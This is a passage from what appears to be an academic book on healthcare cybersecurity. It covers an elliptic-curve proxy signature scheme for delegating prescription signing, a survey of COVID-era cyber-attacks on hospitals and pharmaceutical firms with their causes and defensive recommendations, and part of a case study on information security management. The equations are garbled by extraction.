Step 1: The medical authority delegates his/her prescription rights in terms of 
signing rights by using his/her private key, referred to as prescription signing warrant 
S = k * h m +U x  * G  p ( o ( p ( ))) , where  U is a random point on the curve and mp is a prescription. 

Step 2 : The received delegate medical officer (specialist in some domain), aft er ensuring 
the request is from an authentic signer, generates a proxy signature key pair by commu­
nicating with KDC. It uses a prescription signing warrant to calculate the proxy key pair/ 
delegatee key pair ( kc0

, KC) as shown: 

k = (S + k )mod l   and  KC = *k Gc0 p p c 

Step 3 : The delegate medical officer has the option to sign the medical prescription doc­
ument with his proxy keys generated or forward it to another specialist for his/her opinion. 
A private key for each interval ti is obtained from the private key of the ti-1time period of 
the entire interval T, for example, kc = kc 

2 mod l  , keeping the public key for time duration 
i i-1 

T as KC = kc 
2T 

*G. 
0 
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Step 4: Any medical document signing operation is performed by the designated medi­
cal officer for that period. Here is an ECCDSA algorithm in which the signature compo­
nents are message dependent and independent by considering a random number x per 
document signing operation. The signature consists of y (x k  - ) * h m  

-1 , z x r k* 2 -

= ( ) = - c
r i  

 and R k  G*  resulting in a signed document. 
ic p i 

= ci 

Step 5: Anyone receiving the signed medical document could be convinced with the 
following signature verification process on the received data ( y z R m, p :, ,  )

Calculate X = h mp * *  + ( 2.1 ) y G R  ( (  )  ) 
X1 = z G  y Q  *	 ( 2.2 ) * + 

Compare X x m( )  od l equals X  x mod l1( )  

2.4  	FORMAL SECURITY VERIFICATION OF 
PROPOSED METHOD USING AVISPA

 The well-known automated validation of internet security protocols and applications 
(AVISPA) tool is used to discuss the proof of security of the proposed scheme [11–12]. Th e 
results demonstrate that the proposed system is not susceptible to man-in-the-middle and 
replay attacks. It should be noted that for any security protocol, AVISPA only handles man­
in-the-middle and replay threats against an attacker. 

If the on the fly model checker (OFMC) back end with default options is called, it can 
be seen that no attacks were discovered by OFMC. In other words, for a limited number of 
sessions as specified in the role of the environment, the stated security goals were achieved. 
The proposed protocol is also executed with the CL-AtSe back end for a bounded number 
of sessions. The output in  Figure 2.4  demonstrates that the proposed scheme is safe under 
CL-AtSe also. 

2.5 IMPLEMENTATION RESULTS AND VERIFICATION 
2.5.1 Performance Analysis 

Delegation and forwarding of the digital signing rights among the authority will be 
required frequently when the treatment is in progress in MCPS. The performance cost-
effective solution could be provided by using the signature scheme in ECC. Th e forward 
secure algorithm described in the previous section reduces the exponentiation and mod­
ulus operations compared to the non-elliptic domain, as in the case of ECC, the operation 
cost reduces to EC point addition and multiplication.  Table 2.1  provides a comparative 
analysis of the various operations required, as suggested by Bo and Yilin [13] and our 
proposed scheme. 
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FIGURE 2.4 Security analysis using AVISPA. 

Counts of various operations performed on the EC in diferent phases are given as 
follows:

 Ta: Addition operation 
Tmult : Multiplication 
Th(): Hash operation 
Te: Exponentiation operation 

In the system construction phase of the proposed algorithm, the base proxy key pair is 
constructed, and from that the forward secure proxy key pair is generated for the initial 
time duration, resulting in more operations than Bo and Yilin’s scheme [13]. 

2.5.2 Security Analysis 

As mentioned in the introduction in Section 2.1, the desirable properties that a proxy signa-
ture scheme should satisfy include identif ability, unforgeability, undeniability, verif abil-
ity, and distinguishability. Te scheme thus developed using ECC for role-based delegation 
satisfes the following properties of a desired proxy signature scheme. 

• Identif ability: Because in the proxy key generation process the role-based key of the 
original signer and the identity-based key of the delegatee are used, the proxy signer 
is easily identif ed. 
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TABLE 2.1 Comparative Cost of Total Operations 
  Phase    Scheme in reference [13]    Proposed scheme  

 System construction 2Ta + 1Tmult  3Tmult + 2Ta 

Forward secure private key evolution stage 1Te  1Tmult + 1Ta

 Signing 2Ta + 2Tmult + 1Th() + 2Te  1Th() + 2Tmult

 Verif cation 3Tmult + 2Ta  1Th() + 1Tmult 

• Verif ability: Using signed warrants from the original signer, the private proxy key 
is produced. Te recipient should then be persuaded that the signing rights are del-
egated to the signing proxy. 

• Distinguishability : Te private key for proxy signature is generated by means of an 
original signature and a private proxy key. Te generated signature is therefore easy 
to distinguish from the signature of the proxy signer. 

• Undeniability: As access to the proxy secret key is given to the proxy signer, he/she 
cannot deny this afer the signature. 

• Unforgeability : Te proxy signature can only be forged by an intruder if the intruder 
is able to extract the private key from the elliptic curve discrete logarithm problem 
protected public key. 

2.6 CONCLUSION 
 Te medical facilities in future generations will be bringing the world close in a real man-

ner to provide the best of medical treatment in any part of the world, based on the use of 
medical cyber physical systems. Te preservation of privacy and maintenance of the secu-
rity of the medical document are challenging tasks. Te proposed scheme for delegation in 
a forward secure manner by using a proxy signature–based method could be considered as 
one of the prominent solutions for maintaining the security of the EHR. Simulation-based 
verifcation using the AVISPA tool shows that the proposed scheme is safe under OFMC 
and CL-Atse models. Te experimental verifcation supported that the proxy signature 
scheme satisfes the identifability, unforgeability, and undeniability properties. 
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3.1 INTRODUCTION 
During the pandemic across the globe, the healthcare sector was under stress f ghting the 
coronavirus as well as systematically planned cyber-attacks, which can be a direct threat to 
human life. As the world anticipates curbing the spread of COVID-19, each online reference to 
COVID-19 will, in general, pull in quick consideration by web clients. T us, cyber-criminals 
are misusing vulnerability surrounding the COVID-19 outbreak, which has been designated as 
a worldwide crisis by the World Health Organization (WHO), to infect systems with malware 
with the intention of hacking information, interrupting digital operations, and making unlaw-
ful ransom cash. Te healthcare sector has immediately become an objective of cyber-attacks. 
Healthcare data are particularly delicate and sensitive to such assaults, as any interruption in 
tasks or even the disclosure of patient data can have extensive outcomes. Europol stated that 
healthcare services were found to be a lucrative target in the form of ransom [3]. 
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 Tis pandemic is bringing out the best in so many people as individuals, setting new 
normal trends, at the same time that it is disclosing the black sides of some cyber-criminals, 
who are using fear and deceiving the victims by spreading malware [4]. According to 
Williams et al. [5], by 2021, the cost to the world of cyber security threats is estimated to be 
US$6 trillion per year, whereas the number of complex and coordinated cyber-attacks has 
increased immensely with COVID-19. 

 Tis chapter narrates the incidence of cyber-attacks carried out on healthcare organiza-
tions across the globe during the pandemic, helps to identify the causes behind the attacks, 
and provides recommendations for “cyber hygiene” to mitigate outbreaks of coronavirus-
related online scams. 

In this chapter, Section 3.2 presents the incidence of cyber-attacks during the pandemic, 
Section 3.3 indicates the causes behind the cyber-attacks, Section 3.4 derives recommenda-
tions in the form of security measures, and fnally Section 3.5 contains a case study.

 Tere is scanty research on how a pandemic like COVID-19 can be an opportunity for 
cyber-criminals. Hence, it is imperative that the healthcare industry should implement a 
“security culture” for ensuring the confdentiality of patient data. Tus, we will be better 
prepared for the next such situation. 

A related literature review has been conducted by studying research papers and online 
publications. Studies show that technology alone cannot protect us from cyber-attacks; 
security awareness is also needed. Healthcare organizations should encourage a security 
culture by implementing security hygiene measures and conducting security awareness 
programs. 

Research in the area of healthcare security is sparse. With the advent of technology in health-
care, there is a need to identify security measures using advanced techniques such as artif cial 
intelligence (AI) to give researchers and medical practitioners better insight into it. Our aim is 
to highlight the related issues and suggest solutions and opportunities through this work. 

3.2 CYBER-ATTACK INCIDENCE 
 Te spread of the coronavirus brought substantial changes in the lifestyle of human beings 
across the globe. Due to the increase in the spread of coronavirus, the healthcare sector 
faced interruptions in delivering services. With the technical revolution, technologies like 
the internet of things (IoT) brought forward remote patient monitoring for temperature 
and ECG, for example, which has transformed healthcare services during the pandemic 
[6]. During the COVID-19 pandemic, the world has also seen the black side of technology. 
Te new normal ways like working from home resulted in lagging security standards and 
exposed the vulnerabilities in public IT infrastructure, which were exploited by hackers 
by executing phishing scams using catchwords like “WHO,” “vaccine,” or “donation” [5]. 

Following are a few incidents noted during the pandemic related to the healthcare sec-
tor. According to research work presented by Argaw et al. [7], a ransomware attack is the 
most common potential threat to the healthcare sector. As reported by the US Department 
of Justice, on average 4,000 ransomware attacks occurred daily across dif erent sectors 
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during 2016. Another report stated that the healthcare sector was among the top three sec-
tors most afected by ransomware attacks. 

1. A famous cyber-attack on the Brno University Hospital, the Czech hospital that 
contained one of the country’s biggest COVID-19 testing laboratories, on March 13, 
2020, caused the hospital to shut down its IT network forcefully, resulting in some 
diagnostic delays and hampering patient care [8].

 Te infection started growing around 5  a.m., local time, as reported by a patient 
and a security researcher. In the meantime, instructions via the public announce-
ment system of the hospital announced that all stakeholders should shut down their 
computers to avoid the spread of the infection. 

Every half an hour this message was announced. Afer three hours, an announce-
ment was made that all scheduled surgeries were being canceled and that new 
critical patients were being rerouted to a nearby hospital. As the Brno University 
Hospital contained one of the biggest COVID-19 testing laboratory in the Czech 
Republic, this cyber-attack was considered to be severe and treated instantaneously, 
although the information fow through the system was compromised. For the next 
few days, the hospital faced some problems in regular routine procedures, like there 
was no data storage facility, information gained from diferent laboratories like 
hematology, radiology, and microbiology could not be stored in the database, and 
all medical information had to be written manually, which was time-consuming. 
Little information about the nature of the attack was revealed, but it was suspected 
to be ransomware. It was reported that 50–80% of hospital data were af ected, espe-
cially the administrative part. It took three weeks to restore the system. Along with 
Brno University Hospital, the Brno Children’s Hospital and Maternity Hospital 
were also afected. Such an attack has also been seen against the healthcare sectors 
of diferent countries like the United States, the United Kingdom, T ailand, France, 
and Spain [9]. 

When the IT infrastructure of any healthcare institution collapses and fails due 
to a cyber-attack, all medical services and patient care are delayed, and the medical 
staf on the front lines facing disease and adversaries experiences additional bur-
den and stress. Although Brno University Hospital was ready with cyber security 
measures, it still could not cease the attack. It was reported that post-attack, Brno 
University Hospital is further improving its cyber security measures and allocating 
more of its budget for these, as the hospital acknowledged the attack could happen 
again. 

It is necessary to understand how cyber-criminals can carry out the attacks in 
order to mitigate them. Hence, the practice of good security culture and cyber hygiene 
in healthcare institutions is needed at this time. 

2. On the same date, March 13, 2020, cyber-criminals set up a fake portal for email 
login for WHO staf in order to acquire their credentials. However, the attack was not 
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successful. Te advanced group of hackers called “DarkHotel” was suspected of this 
unlawful activity, with the motive of obtaining information about tests or vaccines 
for COVID-19 [10]. 

3. Te United States Health and Human Services Department (HHS) was hit by a 
cyber-attack known as a denial of services (DDOS) on March 16, 2020, to interrupt 
its response to the coronavirus.

 Te attack consisted of millions of hits to overload the HHS server for several hours. 
Tough the attack did not break the integrity of the IT infrastructure, it was consid-
ered nasty because the unavailability of services during the pandemic could cause 
more deaths [11]. A DDOS attack can have a severe impact in the form of downtime of 
resources, decreased quality of services, loss of business reputation, and business loss. 

4. Te Paris Hospital Authority (AP-HP), a very popular Hospital University Trust that 
is the largest hospital network across Europe, also faced a failed cyber-attack that 
aimed to disable medical services on March 22, 2020. Moreover, as the hospital was 
sharing duties with the military, it was suspected that the attacker might have had 
the intention to acquire information on military operations via the AP-HP net-
work [12]. 

5. During March 2020, Spanish hospitals were hit by a “Netwalker” ransomware attack 
carried out by coronavirus-themed phishing emails [13]. 

6. Another cyber-attack on May 13, 2020, was experienced by two construction com-
panies in the UK. Interserve, a company that is associated with building emergency 
coronavirus hospitals, reported that their operational services might be af ected, and 
Bam Construct had to shut down its website and other systems as a safety precaution 
as it faced cyber-attack [7]. 

7. “ARCHER”—one of the most powerful supercomputers hosted by the University of 
Edinburgh, which is a resource for research work done by biologists—was targeted 
for hostile attack on May 13, 2020. Te system administrator warned ARCHER users 
to change their user passwords and SSH keys as they might have been compromised. 
Due to security exploitation on ARCHER login nodes, all services had to be stopped 
and access disabled for few days [14]. 

8. Another ransomware attack performed by a cyber-criminal group called “Netwalker” 
demanded ransom to not disclose confdential information from the University of 
California, San Francisco (UCSF), on June 1, 2020 [17]. To protect the IT network, the 
university had to quarantine several systems within the School of Medicine, yet data 
on a few servers were encrypted. Fortunately, patient care delivery operations and 
COVID-19 research work remained unaf ected [15]. 

As far as the securing of universities is concerned, it can be a challenging task for 
IT administrators. Te changing stakeholders, information sharing, and assigning 
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and revoking privileges may confict with the rules and controls required to safe-
guard the system. 

BBC News reported that an anonymous tip-of led it to follow the live negotiations 
on the dark web, with an initial ransom demand of $3 million. It was very dif  cult for 
UCSF afer almost 6 days of negotiations to pay the fnal amount of $1.14 million to 
the individuals of the “Netwalker” group in exchange for the tool to decrypt the data. 
University had to make this hard decision as some important academic data were  
encrypted by “Netwalker” [16]. 

 Tese incidents illustrate that, around the globe, malware is widely used by cyber-
criminals to obtain quick money in the form of ransom. As medical data are so sensi-
tive, the healthcare industry is becoming a popular and attractive target for attackers, 
especially during the pandemic. 

After such incidents, many professionals from law enforcement and cyber 
security have shared their opinions. As stated by Jake Moore, a former police  
officer in cyber-crime, by paying such monetary demands in terms of ransom-
ware, we are actually f lying a f lag for paying ransom, and henceforth such attacks 
will continue in the healthcare sector. A cyber-security analyst from Proofpoint 
reported that they have found 1 million phishing emails about fake COVID-19 
test results that were sent to organizations in countries like France, Germany, 
Greece, and Italy [17]. 

Whenever any healthcare institute is hit by any cyber-attack, the IT network 
should immediately be brought off line so that it will stop the spread of the infec-
tion across all systems. Public announcements within the organization for safety 
reasons play a vital role in such situations. And this should be followed by help 
from law enforcement and cyber security and cyber forensic experts. Depending 
on the criticality of the attack, the amount and nature of the data, the time 
required to decrypt the data, efforts required to restore it, and urgency to reset 
the network, organizations may make the call to pay the ransom, though it can 
be a very hard and difficult decision. Asking for some more time to collect the 
money may help the victim to assess the damage to their IT infrastructure and 
to the reputation of the organization; in that case, help from a professional nego-
tiator and a psychologist may end the incident happily by saving few bucks of 
ransom and the haggling may work. To avoid all such circumstances, health-
care organizations should be very keen about making regular backups to mitigate 
future cyber-attacks. 

9. It was reported on July 16, 2020, that Russian state–sponsored hackers were targeting 
organizations in countries like the US, the UK, and Canada that were involved in 
developing a coronavirus vaccine [18]. 

10. In Germany, for the frst time a patient’s death was associated with a ransomware 
attack in September 2020 [19]. Tis case attracted worldwide attention as for the 
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frst time, law enforcement considered a cyber-attack accountable for the death of a 
patient. Te police launched a negligent homicide investigation alleging that, due to 
the cyber-attack, the hospital could not provide patient care in time; moreover, she 
was transferred to another hospital 19 miles away [20]. Afer months of investigation, 
it was reported that the patient was in poor health and was likely to die. Although the 
police have dropped the claim that the cyber-attack was behind the patient’s death, 
the investigation of the case is still ongoing by German law enforcement. As reported 
by German authorities, the cyber-criminals exploited vulnerabilities in the Critix 
virtual private network, which were known publicly but the hospital failed to address. 
Resolution of vulnerabilities in organizations dealing with healthcare services is crit-
ical as a brief delay in services can be devastating. 

11. Afer receiving approval from the Drugs Controller General of India (DCGI) to con-
duct 2/3 trials of the Russian COVID vaccine Sputnik in India, Dr. Reddy‘s labora-
tory experienced a ransomware attack in October 2020 [21].To counteract this, all 
data center services had to be isolated, and there was no major impact on the opera-
tions as stated by the Labs Chief Information Ofcer. From this incident, the com-
pany learned to have its own center operations [22]. 

12. As per a report from Kaspersky, India has been ranked as the sixth most vulner-
able country where pharmaceuticals and druggists are targeted by cyber-attacks. 
As India is one of the countries exporting medicines during the pandemic and is 
involved in the research to develop a vaccine for COVID-19, it is attracting cyber-
criminals [23]. 

Lupin was the second major Mumbai-based pharmaceutical company to be hit 
by a cyber-attack in November 2020. Tough some IT systems were af ected by the 
attack, the company’s core system and operations remained safe, as reported by 
Indian Express [24]. Hence, improvement of cyber security became the need of the 
hour for businesses in every sector as they geared up for 2021. 

13. Te European Medicines Agency (EMA), which evaluates and monitors new medi-
cines introduced to the EU and is also accountable for approving COVID-19 vac-
cines, released a statement alerting stakeholders that Pfzer had been subject to a 
cyber-attack in December 2020. Pfzer’s coronavirus vaccine, developed jointly with 
Germany’s BioNTech, began approval the approval process in late 2020. T ough few 
documents, pdf ’s, emails, and PowerPoint presentations were accessed unlawfully, 
evaluation and approval of COVID-19 medicines were not hampered, as assured by 
the EMA [25]. 

14. In December 2020, companies associated with the storage and transportation of 
COVID-19 vaccines using temperature-controlled environments known as the 
COVID-19 vaccine cold chain were hit by cyber-criminals, as reported by IBM’s  
cyber security division. Te attack was carried out using spear-phishing emails to 
obtain credentials for a targeted internal email and application. Te attack was sus-
pected to be a state-sponsored phishing campaign [26]. 
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15. North Korean hackers impersonated recruiters to lure employees of AstraZeneca, 
a UK-based biopharmaceutical company, with the intention of stealing COVID-19 
research in December 2020. Te cyber-criminals targeted a broad set of people who 
were working on COVID-19 research [27]. 

16. According to South Korea’s spy agency, cyber-criminals from North Korea tried to 
break into the computer system of well-known American pharmaceutical giant Pf zer 
to acquire information about its coronavirus vaccine and treatment on February 16, 
2021 [28]. 

17. Social media were actively used during COVID-19 for spreading rumors [43], like 
a two-week mandatory countrywide quarantine tweeted by the National Security 
Council. Sofware that captured COVID-19-related data to generate reports of the 
pandemic became a concern for data privacy, confdentiality, and data transparency. 
Te Ministry of Home Afairs (MHA), India’s cybercrime Twitter handle “Cyber 
Dost,” tweeted that cyber-criminals are using fear factors related to COVID-19 and 
luring the common person by using promotional codes and COVID maps. 

According to an announcement by the International Criminal Police Organization 
(Interpol), the malware was embedded in coronavirus maps and websites [1]. 

17. A study by Pranggono and Arabo [3] shows that the cyber-attacks carried out dur-
ing the pandemic were mostly in the form of scams and phishing, malware, and dis-
tributed denial-of-service (DDoS). It is also noted that there was a 600% increase in 
coronavirus-related phishing attacks using email, SMS, and voice in the f rst quarter 
of the year 2021, targeting victims using coronavirus or COVID-19 as a title to entice 
people. A phishing attack is planned by setting up a website that looks like a legitimate 
one, having similar web page layouts, styles, and generally similar domain names [29]. 
Tese attacks were carried out to lure people who were seeking relief funds, to donate 
to charity, to claim rewards, and taxes, while masquerading as the government. Cyber-
criminals even used the HTTPS encryption protocols to lure victims to their websites, 
and around 75% of phishing sites have been equipped with secure socket layer, whereas 
webmail and sofware-as-a-service (SaaS) users are the selected sectors for phishing. 

18. Organizations associated with COVID-19-related research are sof targets for 
advanced persistent threat (APT) actors due to their global reach and international 
supply chain. Password spraying attacks are being used by such APT actors to target 
healthcare institutions in the UK and US by collecting organizational details and  
using it for accounts at the targeted institute. T e identif ed account is “sprayed” by 
actors using typically used passwords. Once the attack is successful, the compro-
mised account is used to reveal other accounts listed in the victim organization’s 
global address list [30]. 

3.3 CAUSES BEHIND CYBER-ATTACKS ON THE HEALTHCARE SECTOR 
Since 2016, the healthcare sector has been targeted more than the fnancial sector. During 
the COVID pandemic, the world has had to change the traditional working culture and 
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adopt a new working paradigm, as a result of which much vulnerability has been exposed 
and has been exploited by cyber-criminals. Following are the causes identifed to be behind 
the cyber-attacks on healthcare organizations during the pandemic. 

1. Shif in working paradigm: With the new “work from home” culture, many work-
ing professionals, including those working in healthcare, have had to use their own 
personal devices and home networks, which are mostly unsecured by nature and may 
not fulfll the required industrial security standard [3]. 

Due to the work from home model, a huge number of devices were exposed that 
were used in an emergency, and some sofware networks that were hastily deployed 
and handled by many people made the system vulnerable. During the quarantine 
period, a few healthcare providers with social distancing guidelines of ered tele-
health services. At that time, the regular norms loosened up under Health Insurance 
Portability and Accountability Act (HIPPA) rules. Te necessity for providing 
healthcare services between healthcare professionals and patients also proved to be 
an opportunity for traps like fake websites or phishing attacks [31]. 

2. Tirst for updated information: During the pandemic, the digital platform was 
widely used around the world for communication, updated news, medical informa-
tion, socialization, education, and even shopping, while healthcare organizations 
were busy inventing a vaccine and facing the coronavirus outbreak. People were 
worried and under pressure. Everyone wanted to get updated information about the 
pandemic condition. Te cyber-criminals took advantage of human weakness and 
the situation to execute attacks using social engineering methods to lure victims to 
download a malicious map displaying COVID-19 statistics. In addition, many fake 
websites for donations fourished, taking advantage of the situation [32]. 

3. Complex IT infrastructure: With the advent of technology, the healthcare industry 
is relying on information technology (IT) more and more to deliver patient care, 
model disease, invent a vaccine, and manage healthcare governance. T e networks 
in healthcare institutions are complex, with many devices connected and each 
device acting as a potential target for the attacker. Tis may result in disruption to 
healthcare services, patient records, surgical services, medical devices, and appoint-
ment systems. Moreover, as hospitals are extremely technology saturated, complex 
networks along with high-end point-complexity, followed by internal stakeholder  
alignment, internal politics, and regulatory pressures all infuence the risk of cyber-
attack [33]. 

A study by Jalali et al. [34] shows that physical security is overlooked in research 
when talking about cyber security. Only 1% of the related literature addresses physi-
cal security. Not every cyber vulnerability is a digital vulnerability. Physical threat is 
also one of the reasons for data breaches. Hence, physical security in healthcare insti-
tutions is equally important. Healthcare organizations should maintain a business 
continuity plan and a disaster recovery plan in case of cyber-attack. 
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4. EHR as an asset: Patients’ electronic health records contain vital medical and per-
sonal information, like date of birth, insurance, and health provider information, as 
well as genetic and health data. Tat information is a jackpot for the attacker. T is 
lucrative information can be sold on the dark web, thus making the healthcare sector 
a growing target. 

5. Urgency to access and recover data: Cyber-criminals are taking advantage of the 
unprecedented situation brought on by COVID-19. Te healthcare industry is a sof 
target for popular ransomware attacks performed by planting malware to disable a 
healthcare institution’s IT networks to extort money from the healthcare institute in 
exchange for resetting the network. Cyber-criminals are well aware that medical data 
are very sensitive and critical; a brief delay in accessing it can be a threat to a patient’s 
life, and hence they have a higher chance of making the victim pay [5]. 

6. Security budget: Te related literature reports that healthcare is lagging behind in 
securing its data as well as in arranging staf training programs [7]. Moreover, smaller 
healthcare organizations have smaller security budgets. Hence, they are of en treated 
as easy targets. Underinvestment in cyber security by healthcare institutions leads to a 
threat of cyber-attacks like ransomware, mostly during the COVID-19 pandemic. 

7. Advancements in technology: Te rapid advancements in and adoption of technol-
ogy in the healthcare sector result in greater precision, and so advancements in cyber 
security measures also need to be taken into consideration [7]. 

8. Other factors: During the pandemic, many new ways of doing things f ourished, 
such as social distancing, working from home, and telemedicine, that invited new 
threats and risks related to privacy and security. Security measures for telemedicine 
platforms are multidisciplinary, multistakeholder, and complex. Studies show that 
human characteristics, organizational environment, and employee workload can 
afect the rate at which people click on phishing links [19]. 

9. Accountability: Cyber forensics in the case of digital evidence in the healthcare industry 
is challenging. Due to the IT infrastructure of connected devices, the network becomes 
complex. Data are used by many devices; multiple stakeholders and very few services  
involved contain traces or intrusion detection systems. It will not be easy to trace an 
attacker afer a ransom is paid in currencies like bitcoin, Dash, Verge, Monero, or Zcash. 
Moreover, it becomes critical when talking about accountability whether it is a sof ware 
liability or the healthcare institution’s responsibility. Tis may lead to an oppositional rela-
tionship between healthcare institutions and sofware providers. However, accountability 
becomes questionable without assigning responsibility for mitigating cyber-attacks [7]. 

3.4 RECOMMENDATIONS 
To mitigate cyber-attacks, the following security measures should be followed by health-
care professionals and end users. 
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1. Awareness program: A security awareness program should be conducted for health-
care professionals because technology alone cannot protect us from cyber-attacks. 
Healthcare professionals, as well as end users, should be aware of precautions that  
should be taken for safe internet browsing. A little negligence on the part of the end 
user can be exploited by the attacker. 

• Security can be strong as well as weak. Hence, it is imperative to develop good 
“security hygiene” by conducting a cyber security awareness program among 
healthcare professionals so as to mitigate the risks of cyber-attacks. 

2. Protecting the IT infrastructure:

 • Use a virtual private network (VPN): A multiuser system or remote access users 
should connect to a virtual private network for secure and encrypted access to the 
internal network.

 • Enable multifactor authentication: Use of strong passwords along with multi-
factor authentication should be endorsed. 

• Use up-to-date and licensed sof ware: Use of updated and licensed sof ware 
reduces the risk of cyber-attack. 

• Use antimalware and antivirus sof ware: All systems in a healthcare organiza-
tion should install antimalware and antivirus sofware to mitigate infection from 
malware. 

• All of the stakeholders of a healthcare organization should be made aware of how 
to prevent downloading any malicious or fake sofware/apps/maps. Moreover, no 
sofware should be installed without the prior consent of the IT department. 

• Phishing email is a way to install malware on the client system. Hence, the sender 
should be verifed by users before they click the link. 

• People should be aware of fake COVID-19 maps or websites that are infected with 
malware [3]. 

3. Work from home (WFH) policies: Rules and guidelines are needed for WFH, with 
recovery and backup plans. 

• Physical security at home: never keep systems unattended at home. 

4. Security audit: Healthcare organizations should conduct a regular penetration test. 
Tey should monitor closely user accounts, their access, and their privileges. 

5. Cyber security risk management: 

• In the case of a cyber-attack, healthcare organizations should have a well-def ned 
incident response plan and support from cyber security experts for forensic 
services. 
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• Healthcare organizations should maintain a business continuity plan so as to 
handle the short-term and long-term impacts of any cyber-attack that may hap-
pen in the future, including all of the economic and legal implications along with 
public relations capabilities. 

• Tere should be continuous log monitoring of all user accounts, and access should 
be revoked when the person is no longer afliated with the organization. 

• Te healthcare organization should be equipped with a common announce-
ment system or some kind of alert that will notify all stakeholders about the  
cyber-attack. 

• In the case of failure of the IT infrastructure of the hospital due to cyber-attack, 
all patients and ambulances should reroute to nearby hospitals. 

6. Backup plans: 

• Healthcare organizations should have cloud backup sofware in case of ransom-
ware attacks so that all necessary documents can be retrieved. 

• Close all fle sharing on the system. 

• Clean all infected f les. 

• Recover the infected fles by use of backups [35]. 

• To mitigate attacks like DDOS, improved migration policies, auto scaling algo-
rithms in cloud computing, and collaborative frameworks can be used [36]. 

3.5 CASE STUDY 
 Tis chapter so far has covered three sections: incidence of cyber-attack, causes behind 
cyber-attack, and fnally recommendations of security measures. Now we will present one 
case study to help us understand and investigate the information security management 
(ISM) practices of several IT development and services companies in India, which will 
identify the necessary security practices that should be followed by any sector, includ-
ing healthcare. Tis will help professionals at the managerial level to understand the  
need for a security framework and its diferent levels that should be implemented in the 
organization.  

Information security is the “application of any technical methods and managerial pro-
cesses on the information resources (hardware, sofware, and data) to keep organizational 
assets and personal privacy protected” [38], whereas information security management 
(ISM) consists of the set of activities involved in conf guring resources to meet the infor-
mation security needs of an organization [39]. Because ISM is the collective responsibility 
of employees in any organization, assessment of ISM activities at various organizational 
levels (i.e., strategic, tactical, and operational) becomes essential [37]. Tus, the aim of 
this section is to understand and examine the ISM practices of two IT development and 
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services companies in India. Te study uses a management lens while investigating the 
ISM practices of the cases under examination. 

Begun in March 2011, we will consider one case of a New Delhi–based custom pro-
gramming arrangements supplier organization. Te organization bargains in creating and 
tweaking programming answers for customers on a task premise and gives specialized and 
business support in a re-appropriated capacity. Te principal business and administration 
areas of the organization incorporate IT counseling, website composition and improve-
ment, versatile applications to create programming advancement, mechanical technol-
ogy, and internet showcasing. Te organization has a worker base of 50 individuals, and it 
caters to customers from a wide scope of businesses, including aviation, automobiles, shop-
per products, food, metal creation, clinical, drug, and sunlight-based board, among others. 

Because this organization works in programming improvement, web applications, and 
versatile applications for business advancement, any data misfortune (e.g., losing codes,  
programming programs, applications) is vital for the organization and its activities. Any 
data security penetration infuences the proftability of the association. Tis may have 
genuine results, like monetary misfortunes, loss of productivity, deferred projects, loss of 
licensed innovation, losing customers, and, most importantly, loss of reputation. T e top 
administration and programming designers recognize that data security is a basic neces-
sity for the business progression of the association. If their proftability is lost, it is straight-
forwardly identifed with losing customers, because they need to convey their activities  
within a specifc time. Furthermore, if a customer loses trust, he will not give them any 
more business. So, ISM is valuable for the association as well as for the workers. T e same 
situation has been seen by almost all organizations due to the COVID-19 pandemic, and it 
is really crucial for any healthcare organization. 

Although the top administration (of the preceding organization) knows about the signif-
icance of data security for the association, a predictable plan to ensure its security is absent. 
Tis is principally a direct result of spending constraints and the hesitancy of the senior 
administration toward this issue. Tere is no data security ofcial or comparable expert in 
the organization. ISM exercises of the association are overseen by the organization group 
[39]. From time to time, there is support from the top administration; however, it is not up 
to the level of what is needed in the association. With the newly created leadership position 
in the organization, information security has received attention, and ISM activities are 
becoming streamlined. Te leader, along with his two team members, is responsible for 
managing various ISM functions of the organization. Now, with a push from the leader’s 
ofce, senior management is starting to realize the importance of information security 
and is willing to support its various functions, although there are the challenges of lack of 
a skilled workforce and lack of funds to assist various ISM functions in the organization. 

 Tere is no archived data security strategy in this. Te data security, jobs, and obliga-
tions of workers are not characterized. Tere is no grouping of accountabilities for dif erent 
data security–related capacities in the association. In an impromptu way, representatives 
make decisions on their own to oversee data security identifed with their work. 

 Tere are no conventional data security training programs for workers (in this case), 
either when they join the organization or later. Tere is no methodology in place to def ne 
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the data security requirements of each occupation or to appropriately train the workers. 
For any data security–related concern, employees make their own choices. Tere is no con-
ventional method (predefned steps) or counseling authority. Te need for normal data 
security training and mindfulness programs was acknowledged; however, there are no 
data security training or mindfulness programs—it depends on the singular endeavors of 
the workers. 

When employees join the organization, every one of the standards of ISM should be 
clarifed for them, including what is data security? How we are overseeing it? Furthermore, 
how it is basic for us? Some instructions ought to be there for every one of the workers. 

Without any data security training programs, employees, in this case, were discovered 
to be exceptionally less mindful about diferent data security dangers and countermea-
sures. A few know the potential dangers to the data and the data resources that they are 
managing; however without any arrangement or rules, they have no guidance about a solu-
tion for it. Tere is no correspondence about the data security duties responsibilities of  
employees. Tere is an overall absence of mindfulness about the issues or legitimate results 
of any data security penetration episode. Tere is no counsel to examine ISM concerns 
and issues inside the association. Without mindfulness on the part of employees about 
data security, spending on planning and any remaining assets and endeavors is pointless. 
Periodic meetings on data security will be useful for all working professionals.

 Te organization in this case needs to make a culture of ISM part of the everyday activi-
ties of workers. All in all, workers do not consider data to be an aspect of their responsi-
bilities. For instance, ISM standards, like changing passwords at the regular intervals, not 
sharing passwords, and making ordinary backups of basic information, are not being fol-
lowed by workers and are generally seen as a burden. Tere is no instrument to screen for 
data security conduct. Te association does not have meetings to talk about these issues. On 
the of chance that someone has to deal with an issue, the organization makes impromptu 
moves within a meeting to determine the issue. Employees think that ISM is something 
straightforward, so what diference does it make? No one frets over it. Te methodology is 
vague, and it is not properly def ned.

 Tere is no system of data security reviews in this case. Te association directs no 
data security reviews between internal and outside systems. Tere is a group within the 
organization that has the duty of screening the log records of workers and following up 
in the event of any deviations. Te association has no data security af  rmation. As stated 
by the managing director of the organization, “we are a little organization; we don’t need 
any such ISM confrmation. Maybe in the future, as the organization develops, we will 
think about it.”

 Te ISM practices in this organization are impromptu and receptive in nature. T ere 
is no defnitive procedure for recognizing and overseeing dangers to dif erent business 
activities of the association. A portion of the hole territories, as featured, incorporate the 
accompanying shortfall of any danger of the board plan, sharing of passwords, no sif ing 
of internet downloads, no ordinary updates of antivirus programs, and workers taking 
delicate venture information documents home with them. Tis may mostly be a result of 
helpless data security and no push from top administration. Employees feel limited if there 
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is appropriate execution of security frameworks: for instance, if they cannot utilize pen 
drives, cannot take codes home with them, cannot download information of their own, 
cannot open private messages, and so forth. 

As a matter of procedure, this organization keeps a record of the IT and non-IT resources. 
Resources are not classifed on the basis of their risk or criticality. Computers and PCs are, 
